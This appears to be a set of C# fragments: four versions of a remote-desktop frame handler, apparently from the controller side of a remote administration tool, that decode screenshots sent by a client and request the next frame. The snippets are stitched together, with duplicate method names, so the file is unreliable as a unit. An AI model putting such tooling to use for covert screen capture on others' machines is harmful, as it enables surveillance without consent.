public static void getDesktopResponse(ClientMosaique client, GetDesktopResponse packet)
{
if (client.value == null || client.value.frmRdp == null)
{
return;
}
Image desktop;
using (MemoryStream ms = new MemoryStream(packet.image))
{
desktop = Image.FromStream(ms);
}
if (client.value != null)
{
client.value.frmRdp.updateRdp(desktop);
}
packet.image = null;
if (client.value != null && client.value.frmRdp != null && client.value.frmRdp.stopRdp != true)
{
new GetDesktop(85, packet.monitor).Execute(client);
}
}
private void Execute(ISender client, GetDesktopResponse message)
{
lock (_syncLock)
{
if (!IsStarted)
{
return;
}
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
{
_codec?.Dispose();
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
}
using (MemoryStream ms = new MemoryStream(message.Image))
{
// create deep copy & resize bitmap to local resolution
OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution));
}
message.Image = null;
client.Send(new GetDesktop {
Quality = message.Quality, DisplayIndex = message.Monitor
});
}
}
public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet)
{
if (client.Value == null ||
client.Value.FrmRdp == null ||
client.Value.FrmRdp.IsDisposed ||
client.Value.FrmRdp.Disposing)
{
return;
}
if (packet.Image == null)
{
return;
}
if (client.Value.StreamCodec == null)
{
client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);
}
if (client.Value.StreamCodec.ImageQuality != packet.Quality ||
client.Value.StreamCodec.Monitor != packet.Monitor ||
client.Value.StreamCodec.Resolution != packet.Resolution)
{
if (client.Value.StreamCodec != null)
{
client.Value.StreamCodec.Dispose();
}
client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);
}
using (MemoryStream ms = new MemoryStream(packet.Image))
{
client.Value.FrmRdp.UpdateImage(client.Value.StreamCodec.DecodeData(ms), true);
}
packet.Image = null;
if (client.Value != null && client.Value.FrmRdp != null && client.Value.FrmRdp.IsStarted)
{
new GetDesktop(packet.Quality, packet.Monitor).Execute(client);
}
}
public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet)
{
if (client.Value.FrmRdp == null)
{
return;
}
if (packet.Image == null)
{
if (client.Value.FrmRdp != null)
{
client.Value.FrmRdp.UpdateImage(client.Value.LastDesktop);
}
client.Value.LastDesktop = null;
client.Value.LastDesktopSeen = true;
return;
}
// we can not dispose all bitmaps here, cause they are later used again in `client.Value.LastDesktop`
if (client.Value.LastDesktop == null)
{
if (client.Value.StreamCodec != null)
{
client.Value.StreamCodec.Dispose();
}
client.Value.StreamCodec = new UnsafeStreamCodec();
if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor)
{
client.Value.LastQuality = packet.Quality;
client.Value.LastMonitor = packet.Monitor;
}
using (MemoryStream ms = new MemoryStream(packet.Image))
{
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
client.Value.LastDesktop = newScreen;
if (client.Value.FrmRdp != null)
{
client.Value.FrmRdp.UpdateImage(newScreen, true);
}
newScreen = null;
}
}
else
{
using (MemoryStream ms = new MemoryStream(packet.Image))
{
lock (client.Value.StreamCodec)
{
if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor)
{
if (client.Value.StreamCodec != null)
{
client.Value.StreamCodec.Dispose();
}
client.Value.StreamCodec = new UnsafeStreamCodec();
client.Value.LastQuality = packet.Quality;
client.Value.LastMonitor = packet.Monitor;
}
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
client.Value.LastDesktop = newScreen;
if (client.Value.FrmRdp != null)
{
client.Value.FrmRdp.UpdateImage(newScreen, true);
}
newScreen = null;
}
}
}
packet.Image = null;
client.Value.LastDesktopSeen = true;
}